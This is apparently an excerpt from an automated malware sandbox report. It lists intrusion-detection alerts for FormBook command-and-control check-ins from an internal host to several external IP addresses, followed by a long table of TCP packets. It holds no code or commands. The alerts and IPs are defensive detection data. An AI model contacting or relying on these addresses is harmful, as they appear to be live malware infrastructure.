2024-10-24T15:20:36.756154+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50029	129.226.176.90	80	TCP
2024-10-24T15:20:39.303019+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50030	129.226.176.90	80	TCP
2024-10-24T15:20:39.303019+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50030	129.226.176.90	80	TCP
2024-10-24T15:20:45.365532+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50031	213.249.67.10	80	TCP
2024-10-24T15:20:47.912709+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50032	213.249.67.10	80	TCP
2024-10-24T15:20:50.459325+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50033	213.249.67.10	80	TCP
2024-10-24T15:20:53.021801+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50034	213.249.67.10	80	TCP
2024-10-24T15:20:53.021801+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50034	213.249.67.10	80	TCP
2024-10-24T15:20:58.859899+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50035	67.223.117.169	80	TCP
2024-10-24T15:21:01.398710+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50036	67.223.117.169	80	TCP
2024-10-24T15:21:04.347829+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50037	67.223.117.169	80	TCP
2024-10-24T15:21:06.507896+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50038	67.223.117.169	80	TCP
2024-10-24T15:21:06.507896+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50038	67.223.117.169	80	TCP
2024-10-24T15:21:15.678139+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	50039	129.226.56.200	80	TCP
2024-10-24T15:21:15.678139+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	50039	129.226.56.200	80	TCP
2024-10-24T15:21:21.986343+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	50040	162.0.215.33	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 15:17:33.741206884 CEST	49787	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:17:33.746691942 CEST	80	49787	129.226.56.200	192.168.2.5
Oct 24, 2024 15:17:33.746794939 CEST	49787	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:17:33.753350019 CEST	49787	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:17:33.758769035 CEST	80	49787	129.226.56.200	192.168.2.5
Oct 24, 2024 15:17:34.701767921 CEST	80	49787	129.226.56.200	192.168.2.5
Oct 24, 2024 15:17:34.755819082 CEST	49787	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:17:34.885327101 CEST	80	49787	129.226.56.200	192.168.2.5
Oct 24, 2024 15:17:34.885442019 CEST	49787	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:17:34.886898994 CEST	49787	80	192.168.2.5	129.226.56.200
Oct 24, 2024 15:17:34.892436981 CEST	80	49787	129.226.56.200	192.168.2.5
Oct 24, 2024 15:17:49.979228973 CEST	49866	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:49.985289097 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:49.986701012 CEST	49866	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:49.999325991 CEST	49866	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:50.005429029 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.661396980 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.661420107 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.661431074 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.661442041 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.661453962 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.661493063 CEST	49866	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:50.699980021 CEST	80	49866	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:50.700048923 CEST	49866	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:51.505940914 CEST	49866	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:52.525583029 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:52.530993938 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:52.531081915 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:52.541713953 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:52.547115088 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.204755068 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.204783916 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.204799891 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.204813004 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.204828978 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.204855919 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:53.204920053 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:53.243043900 CEST	80	49877	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:53.243122101 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:54.053033113 CEST	49877	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:55.072710037 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:55.078214884 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.078583956 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:55.094186068 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:55.099813938 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.099893093 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.799773932 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.799840927 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.799894094 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.799927950 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.800009012 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.800062895 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:55.800062895 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:55.838012934 CEST	80	49893	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:55.838242054 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:56.599890947 CEST	49893	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:57.619580030 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:57.625098944 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:57.625220060 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:57.635550976 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:57.641094923 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289444923 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289510012 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289562941 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289597988 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289649010 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289683104 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289716959 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289735079 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:58.289750099 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289788008 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.289807081 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:58.289845943 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:58.327611923 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:17:58.327867985 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:58.328464985 CEST	49908	80	192.168.2.5	162.0.215.33
Oct 24, 2024 15:17:58.334017992 CEST	80	49908	162.0.215.33	192.168.2.5
Oct 24, 2024 15:18:03.358536959 CEST	49940	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:03.364743948 CEST	80	49940	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:03.364957094 CEST	49940	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:03.374195099 CEST	49940	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:03.379515886 CEST	80	49940	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:04.033938885 CEST	80	49940	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:04.066632032 CEST	80	49940	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:04.066732883 CEST	49940	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:04.881043911 CEST	49940	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:05.968180895 CEST	49956	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:06.000852108 CEST	80	49956	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:06.003484011 CEST	49956	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:06.053886890 CEST	49956	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:06.059422970 CEST	80	49956	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:06.669924021 CEST	80	49956	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:06.701738119 CEST	80	49956	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:06.701911926 CEST	49956	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:07.568451881 CEST	49956	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:08.595652103 CEST	49972	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:08.601593971 CEST	80	49972	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:08.601686954 CEST	49972	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:08.641904116 CEST	49972	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:08.647834063 CEST	80	49972	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:08.647878885 CEST	80	49972	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:09.268960953 CEST	80	49972	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:09.300314903 CEST	80	49972	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:09.300403118 CEST	49972	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:10.146589994 CEST	49972	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:11.165052891 CEST	49988	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:11.170622110 CEST	80	49988	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:11.170833111 CEST	49988	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:11.178035975 CEST	49988	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:11.183604002 CEST	80	49988	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:11.826174021 CEST	80	49988	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:11.858014107 CEST	80	49988	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:11.858270884 CEST	49988	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:11.859081030 CEST	49988	80	192.168.2.5	154.7.176.67
Oct 24, 2024 15:18:11.864675999 CEST	80	49988	154.7.176.67	192.168.2.5
Oct 24, 2024 15:18:16.899707079 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:16.905070066 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:16.905157089 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:16.916616917 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:16.922276020 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102643967 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102709055 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102727890 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102762938 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102771997 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.102777004 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102803946 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102804899 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.102834940 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102859974 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.102890968 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.102933884 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.102988005 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.103005886 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.103045940 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.108412981 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.108447075 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.108479023 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.108503103 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.108505964 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.108573914 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.108700037 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.162349939 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.318763971 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.318924904 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.318941116 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.318970919 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.318994999 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.319097996 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.319097996 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.319109917 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.319185972 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.319195032 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.319221020 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.319258928 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.319283009 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.319286108 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.319359064 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.319973946 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.320008039 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.320029974 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.320065975 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.320326090 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.320380926 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.320430994 CEST	80	49991	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:18.365461111 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:18.427988052 CEST	49991	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:19.447575092 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:19.453114033 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:19.453200102 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:19.466129065 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:19.471857071 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660245895 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660281897 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660347939 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660372972 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660383940 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.660396099 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660417080 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.660480022 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660501957 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660521030 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.660530090 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660553932 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660567045 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.660581112 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.660618067 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.666141987 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.666191101 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.666213989 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.666230917 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.666239023 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.666287899 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.874408960 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874433041 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874488115 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874512911 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874537945 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.874562025 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874572039 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.874589920 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874604940 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874633074 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.874928951 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.874978065 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.875026941 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875049114 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875086069 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.875329018 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875390053 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875416994 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875432014 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875433922 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.875474930 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.875983953 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.875998974 CEST	80	49992	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:20.876044989 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:20.974900007 CEST	49992	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:21.993287086 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:21.998941898 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:21.999245882 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:22.009376049 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:22.014811039 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:22.014971018 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198098898 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198165894 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198184967 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198210001 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198235035 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198270082 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.198286057 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198327065 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198344946 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198355913 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.198376894 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198395014 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.198405027 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.198467016 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.203850985 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.203888893 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.203913927 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.203933954 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.203953981 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.204783916 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.422677040 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.422729015 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.422770977 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.422820091 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.422859907 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.422893047 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.423002005 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.423125982 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.423243999 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.423280001 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.423336029 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.423372984 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.423402071 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.423494101 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.424067974 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.424148083 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.424180984 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.424216032 CEST	80	49993	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:23.424221992 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.424308062 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:23.521871090 CEST	49993	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:24.541877985 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:24.547472000 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:24.547676086 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:24.558223963 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:24.564671993 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.763803959 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.763853073 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.763912916 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.763948917 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.763978958 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.764010906 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.764031887 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.764051914 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.764070034 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.764120102 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.764174938 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.764267921 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.764303923 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.764357090 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.771301031 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.771378994 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.771419048 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.771436930 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.771471977 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.771507978 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.771541119 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.771569967 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.771610975 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.990695000 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.990751982 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.990825891 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.990856886 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.990870953 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.990914106 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.990947962 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.991046906 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.991094112 CEST	49994	80	192.168.2.5	118.139.178.37
Oct 24, 2024 15:18:25.991266966 CEST	80	49994	118.139.178.37	192.168.2.5
Oct 24, 2024 15:18:25.991353035 CEST	80	49994	118.139.178.37	192.168.2.5
